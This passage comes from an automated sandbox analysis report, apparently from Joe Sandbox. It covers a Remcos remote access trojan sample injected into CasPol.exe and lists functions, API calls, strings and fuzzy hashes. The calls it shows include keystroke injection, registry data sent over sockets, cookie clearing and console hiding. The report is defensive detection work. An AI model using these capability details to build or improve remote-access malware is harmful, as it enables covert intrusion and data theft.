                                                                                                                                                                                                  • CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000), ref: 00407A00
                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,?,00000000,000186A0,00000000), ref: 00407A48
                                                                                                                                                                                                    • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00407A88
                                                                                                                                                                                                  • MoveFileW.KERNEL32 ref: 00407AA5
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00407AD0
                                                                                                                                                                                                  • DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0000000A,00000000), ref: 00407AE0
                                                                                                                                                                                                    • Part of subcall function 00404B96: WaitForSingleObject.KERNEL32(00000000,000000FF,?,00474EF8,00404C49,00000000,00000000,00000000,?,00474EF8,?), ref: 00404BA5
                                                                                                                                                                                                    • Part of subcall function 00404B96: SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040548B), ref: 00404BC3
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: File$CloseHandle$CreateDeleteEventMoveObjectSingleWaitWritesend
                                                                                                                                                                                                  • String ID: .part
                                                                                                                                                                                                  • API String ID: 1303771098-3499674018
                                                                                                                                                                                                  • Opcode ID: f8f352d1944775a3033a6e3b226fb99e3d0dc97036554631b9c7d83676d303e1
                                                                                                                                                                                                  • Instruction ID: fa021c15c5d1e87e569c09a19ead990ccf19330fc060556597d24b4305e87d8f
                                                                                                                                                                                                  • Opcode Fuzzy Hash: f8f352d1944775a3033a6e3b226fb99e3d0dc97036554631b9c7d83676d303e1
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3A31B571508345AFC310EB61D84599FB3A8FF94359F00493FB945A21D2EB78EE08CB9A
                                                                                                                                                                                                  Function 0041CE2C Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 48memoryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • AllocConsole.KERNEL32 ref: 0041CE35
                                                                                                                                                                                                  • GetConsoleWindow.KERNEL32 ref: 0041CE3B
                                                                                                                                                                                                  • ShowWindow.USER32(00000000,00000000), ref: 0041CE4E
                                                                                                                                                                                                  • SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CE73
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Console$Window$AllocOutputShow
                                                                                                                                                                                                  • String ID: Remcos v$5.1.3 Pro$CONOUT$
                                                                                                                                                                                                  • API String ID: 4067487056-2212855755
                                                                                                                                                                                                  • Opcode ID: bb520a2f19826cc6a1c283625bbcfbf44085728638f029a4a140c4eec348b460
                                                                                                                                                                                                  • Instruction ID: 6efa3de70d430de9448838496adf33c47162c0890a3ad1875f095e209401f165
                                                                                                                                                                                                  • Opcode Fuzzy Hash: bb520a2f19826cc6a1c283625bbcfbf44085728638f029a4a140c4eec348b460
                                                                                                                                                                                                  • Instruction Fuzzy Hash: A90144B1A80304BBD610F7F19C8BF9E77AC9B14B05F500527BA04A70D2EB6DD944466E
                                                                                                                                                                                                  Function 004199DB Relevance: 12.1, APIs: 8, Instructions: 117keyboardCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • SendInput.USER32 ref: 00419A25
                                                                                                                                                                                                  • SendInput.USER32(00000001,?,0000001C), ref: 00419A4D
                                                                                                                                                                                                  • SendInput.USER32(00000001,0000001C,0000001C), ref: 00419A74
                                                                                                                                                                                                  • SendInput.USER32(00000001,0000001C,0000001C), ref: 00419A92
                                                                                                                                                                                                  • SendInput.USER32(00000001,0000001C,0000001C), ref: 00419AB2
                                                                                                                                                                                                  • SendInput.USER32(00000001,0000001C,0000001C), ref: 00419AD7
                                                                                                                                                                                                  • SendInput.USER32(00000001,0000001C,0000001C), ref: 00419AF9
                                                                                                                                                                                                  • SendInput.USER32(00000001,00000000,0000001C), ref: 00419B1C
                                                                                                                                                                                                    • Part of subcall function 004199CE: MapVirtualKeyA.USER32 ref: 004199D4
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: InputSend$Virtual
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1167301434-0
                                                                                                                                                                                                  • Opcode ID: fc4380392ba50379eb6d472fb1d17d58296046c22f58e77cb3b57b5de18c14a3
                                                                                                                                                                                                  • Instruction ID: b6cba15de7ba168fc32b54cb564de1fb898aed6d56f2455a0f9f7e0387a20004
                                                                                                                                                                                                  • Opcode Fuzzy Hash: fc4380392ba50379eb6d472fb1d17d58296046c22f58e77cb3b57b5de18c14a3
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2431AE71218349A9E220DFA5DC41BDFBBECAF89B44F04080FF58457291CAA49D8C876B
                                                                                                                                                                                                  Function 004475F1 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 389COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: __freea$__alloca_probe_16_free
                                                                                                                                                                                                  • String ID: a/p$am/pm$h{D
                                                                                                                                                                                                  • API String ID: 2936374016-2303565833
                                                                                                                                                                                                  • Opcode ID: fd6751c856b69d551333f65899c140b2c90fb7d01a30c867c2f4d7dd71cdc8bb
                                                                                                                                                                                                  • Instruction ID: c225e1f32c331ede1d29eb10815d0f52c76e58365e66366979e06629ded2ae5c
                                                                                                                                                                                                  • Opcode Fuzzy Hash: fd6751c856b69d551333f65899c140b2c90fb7d01a30c867c2f4d7dd71cdc8bb
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 94D1E1719082068AFB299F68C845ABFB7B1EF05300F28455BE501AB351D73D9E43CBA9
                                                                                                                                                                                                  Function 00444D7C Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 187COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 004461B8: RtlAllocateHeap.NTDLL(00000000,00435329,?,?,004388C7,?,?,00000000,?,?,0040DE9D,00435329,?,?,?,?), ref: 004461EA
                                                                                                                                                                                                  • _free.LIBCMT ref: 00444E87
                                                                                                                                                                                                  • _free.LIBCMT ref: 00444E9E
                                                                                                                                                                                                  • _free.LIBCMT ref: 00444EBD
                                                                                                                                                                                                  • _free.LIBCMT ref: 00444ED8
                                                                                                                                                                                                  • _free.LIBCMT ref: 00444EEF
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _free$AllocateHeap
                                                                                                                                                                                                  • String ID: KED
                                                                                                                                                                                                  • API String ID: 3033488037-2133951994
                                                                                                                                                                                                  • Opcode ID: bf8f09c86d4ddf62a61791e98d41f8d125843f3e4b01e4d539fef815b17f4b11
                                                                                                                                                                                                  • Instruction ID: 6eb5fd97c930506827bd935ec23fdf2bd7e2f8155051dcdfd38a61b70e77380a
                                                                                                                                                                                                  • Opcode Fuzzy Hash: bf8f09c86d4ddf62a61791e98d41f8d125843f3e4b01e4d539fef815b17f4b11
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2351B371A00604ABEB20DF29CC42B6B77F4FF89724B25456EE809D7751E739E901CB98
                                                                                                                                                                                                  Function 00413A90 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 179registryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413AF7
                                                                                                                                                                                                  • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00413B26
                                                                                                                                                                                                  • RegEnumValueW.ADVAPI32(?,00000000,?,00003FFF,00000000,?,?,00002710), ref: 00413BC6
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Enum$InfoQueryValue
                                                                                                                                                                                                  • String ID: [regsplt]$xUG$TG
                                                                                                                                                                                                  • API String ID: 3554306468-1165877943
                                                                                                                                                                                                  • Opcode ID: 4b0e642b2c48494caa08e7f7a3ba59522f0f548a4503128eeb0998b2f931d829
                                                                                                                                                                                                  • Instruction ID: 25111a67c66830bda9a991cbd11294aa9b1843c944dfd5f4caafe5fa1545c2ae
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4b0e642b2c48494caa08e7f7a3ba59522f0f548a4503128eeb0998b2f931d829
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 05512D71900219AADB11EB95DC86EEEB77DAF04305F10007AE505B6191EF746B48CBA9
                                                                                                                                                                                                  Function 0044B43C Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetConsoleCP.KERNEL32 ref: 0044B47E
                                                                                                                                                                                                  • __fassign.LIBCMT ref: 0044B4F9
                                                                                                                                                                                                  • __fassign.LIBCMT ref: 0044B514
                                                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,FF8BC35D,00000005,00000000,00000000), ref: 0044B53A
                                                                                                                                                                                                  • WriteFile.KERNEL32(?,FF8BC35D,00000000,0044BBB1,00000000), ref: 0044B559
                                                                                                                                                                                                  • WriteFile.KERNEL32(?,?,00000001,0044BBB1,00000000), ref: 0044B592
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1324828854-0
                                                                                                                                                                                                  • Opcode ID: 311db8d3e4a1a0a231de64f74e89b34bd80b314b172ec9a4a2cdea1eea97895d
                                                                                                                                                                                                  • Instruction ID: 262f0c9efa3d8d05c94b564727faad167cb6e35c827a04fe4b8fb241bd644287
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 311db8d3e4a1a0a231de64f74e89b34bd80b314b172ec9a4a2cdea1eea97895d
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2151B470A00249AFDB10CFA8D845AEEFBF8EF09304F14456BE955E7291E734D941CBA9
                                                                                                                                                                                                  Function 10009492 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetConsoleCP.KERNEL32 ref: 100094D4
                                                                                                                                                                                                  • __fassign.LIBCMT ref: 1000954F
                                                                                                                                                                                                  • __fassign.LIBCMT ref: 1000956A
                                                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 10009590
                                                                                                                                                                                                  • WriteFile.KERNEL32(?,?,00000000,10009C07,00000000), ref: 100095AF
                                                                                                                                                                                                  • WriteFile.KERNEL32(?,?,00000001,10009C07,00000000), ref: 100095E8
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1324828854-0
                                                                                                                                                                                                  • Opcode ID: c8cde1f94c5a3c187481f919a86e285046f284bf183baf255f965bcae4dd5098
                                                                                                                                                                                                  • Instruction ID: 7b1e32e7ca62d622bc6abd4954a79b3a1191cf35157f5551c2bc05612337e78d
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c8cde1f94c5a3c187481f919a86e285046f284bf183baf255f965bcae4dd5098
                                                                                                                                                                                                  • Instruction Fuzzy Hash: D7519271D00249AFEB10CFA4CC95BDEBBF8EF09350F15811AE955E7295D731AA41CB60
                                                                                                                                                                                                  Function 00413D48 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 135registryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • RegOpenKeyExW.ADVAPI32 ref: 00413D81
                                                                                                                                                                                                    • Part of subcall function 00413A90: RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413AF7
                                                                                                                                                                                                    • Part of subcall function 00413A90: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00413B26
                                                                                                                                                                                                    • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                                                                                                                                                                                                  • RegCloseKey.ADVAPI32(00000000), ref: 00413EEF
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CloseEnumInfoOpenQuerysend
                                                                                                                                                                                                  • String ID: xUG$NG$NG$TG
                                                                                                                                                                                                  • API String ID: 3114080316-2811732169
                                                                                                                                                                                                  • Opcode ID: b671a3d148dc4dad6e50aea19cc29b45d172fff4de9eef1f9094f07207dc39cd
                                                                                                                                                                                                  • Instruction ID: 39136fa66a1b3d14a29046baa0c8a2124f92290552efa608aac098e6c3039c27
                                                                                                                                                                                                  • Opcode Fuzzy Hash: b671a3d148dc4dad6e50aea19cc29b45d172fff4de9eef1f9094f07207dc39cd
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 03419F316042005AC324F726D852AEF76A99FD1384F40883FF549671D2EF7C5949866E
                                                                                                                                                                                                  Function 10003370 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • _ValidateLocalCookies.LIBCMT ref: 1000339B
                                                                                                                                                                                                  • ___except_validate_context_record.LIBVCRUNTIME ref: 100033A3
                                                                                                                                                                                                  • _ValidateLocalCookies.LIBCMT ref: 10003431
                                                                                                                                                                                                  • __IsNonwritableInCurrentImage.LIBCMT ref: 1000345C
                                                                                                                                                                                                  • _ValidateLocalCookies.LIBCMT ref: 100034B1
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                                                                                                                                                                  • String ID: csm
                                                                                                                                                                                                  • API String ID: 1170836740-1018135373
                                                                                                                                                                                                  • Opcode ID: 314e045d64bd9dff90e147ebc0021a06731dbc25050b3dab86f6a1545ce1a07e
                                                                                                                                                                                                  • Instruction ID: 0a936c430148d26a69835db3fa9f683d01d5328c1142e13f0191aacd949c771e
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 314e045d64bd9dff90e147ebc0021a06731dbc25050b3dab86f6a1545ce1a07e
                                                                                                                                                                                                  • Instruction Fuzzy Hash: D141D678E042189BEB12CF68C880A9FBBF9EF453A4F10C155E9159F25AD731FA01CB91
                                                                                                                                                                                                  Function 0041B71B Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 91COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00413656: RegOpenKeyExW.ADVAPI32 ref: 00413678
                                                                                                                                                                                                    • Part of subcall function 00413656: RegQueryValueExW.ADVAPI32(?,0040F34E,00000000,00000000,?,00000400), ref: 00413697
                                                                                                                                                                                                    • Part of subcall function 00413656: RegCloseKey.ADVAPI32(?), ref: 004136A0
                                                                                                                                                                                                    • Part of subcall function 0041C048: GetCurrentProcess.KERNEL32(?,?,?,0040DAE5,WinDir,00000000,00000000), ref: 0041C059
                                                                                                                                                                                                    • Part of subcall function 0041C048: IsWow64Process.KERNEL32(00000000,?,?,0040DAE5,WinDir,00000000,00000000), ref: 0041C060
                                                                                                                                                                                                  • _wcslen.LIBCMT ref: 0041B7F4
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Process$CloseCurrentOpenQueryValueWow64_wcslen
                                                                                                                                                                                                  • String ID: .exe$8SG$http\shell\open\command$program files (x86)\$program files\
                                                                                                                                                                                                  • API String ID: 3286818993-122982132
                                                                                                                                                                                                  • Opcode ID: 426cf9f555deb71152b4ea0aff0bdf5362cc4b7c5296926717e194012261492b
                                                                                                                                                                                                  • Instruction ID: 00334f857bbe6022557327a28fa8f115e820bd32ca6b34e50ab8c41aa79dd428
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 426cf9f555deb71152b4ea0aff0bdf5362cc4b7c5296926717e194012261492b
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 42218872A001046BDB14BAB59CD6AFE766D9B48728F10043FF505B72C3EE3C9D49426D
                                                                                                                                                                                                  Function 0040BF24 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 87COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 004135E1: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 00413605
                                                                                                                                                                                                    • Part of subcall function 004135E1: RegQueryValueExA.KERNEL32 ref: 00413622
                                                                                                                                                                                                    • Part of subcall function 004135E1: RegCloseKey.KERNEL32(?), ref: 0041362D
                                                                                                                                                                                                  • ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,00000000), ref: 0040BFA6
                                                                                                                                                                                                  • PathFileExistsA.SHLWAPI(?), ref: 0040BFB3
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CloseEnvironmentExistsExpandFileOpenPathQueryStringsValue
                                                                                                                                                                                                  • String ID: [IE cookies cleared!]$[IE cookies not found]$Cookies$Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
                                                                                                                                                                                                  • API String ID: 1133728706-4073444585
                                                                                                                                                                                                  • Opcode ID: c07787becfdd919c069db1a68e32e5c9d5958318cedaa5e6beefbf099ad8eae3
                                                                                                                                                                                                  • Instruction ID: a06d8339010b4a31413dea3cf8b7af81beee50618fccc2c871009a62ab4f9f33
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c07787becfdd919c069db1a68e32e5c9d5958318cedaa5e6beefbf099ad8eae3
                                                                                                                                                                                                  • Instruction Fuzzy Hash: BC215230A40219A6CB14F7F1CC969EE77299F50744F80017FE502B71D1EB7D6945C6DA
                                                                                                                                                                                                  Function 00456BD3 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 4464324db8c5353dfe5ce51150f621231adbafcb5ed67c6bb2f14fac2072150c
                                                                                                                                                                                                  • Instruction ID: d4e598e7927038c57750db0ba161657e9615562456f8c919f0676739ef068bdb
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4464324db8c5353dfe5ce51150f621231adbafcb5ed67c6bb2f14fac2072150c
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 931127B2504214BBEB216F768C05D1F7A5CEB86726B52062EFD55C7292DA3CCC0186A8
                                                                                                                                                                                                  Function 00450F7A Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00450CC1: _free.LIBCMT ref: 00450CEA
                                                                                                                                                                                                  • _free.LIBCMT ref: 00450FC8
                                                                                                                                                                                                    • Part of subcall function 00446802: HeapFree.KERNEL32(00000000,00000000), ref: 00446818
                                                                                                                                                                                                    • Part of subcall function 00446802: GetLastError.KERNEL32(?,?,00450CEF,?,00000000,?,00000000,?,00450F93,?,00000007,?,?,004514DE,?,?), ref: 0044682A
                                                                                                                                                                                                  • _free.LIBCMT ref: 00450FD3
                                                                                                                                                                                                  • _free.LIBCMT ref: 00450FDE
                                                                                                                                                                                                  • _free.LIBCMT ref: 00451032
                                                                                                                                                                                                  • _free.LIBCMT ref: 0045103D
                                                                                                                                                                                                  • _free.LIBCMT ref: 00451048
                                                                                                                                                                                                  • _free.LIBCMT ref: 00451053
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _free$ErrorFreeHeapLast
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 776569668-0
                                                                                                                                                                                                  • Opcode ID: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
                                                                                                                                                                                                  • Instruction ID: 345e916fd15b447c36d88a7a8914fd19e4c3e0710e9d23c2e9f19f8556552687
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
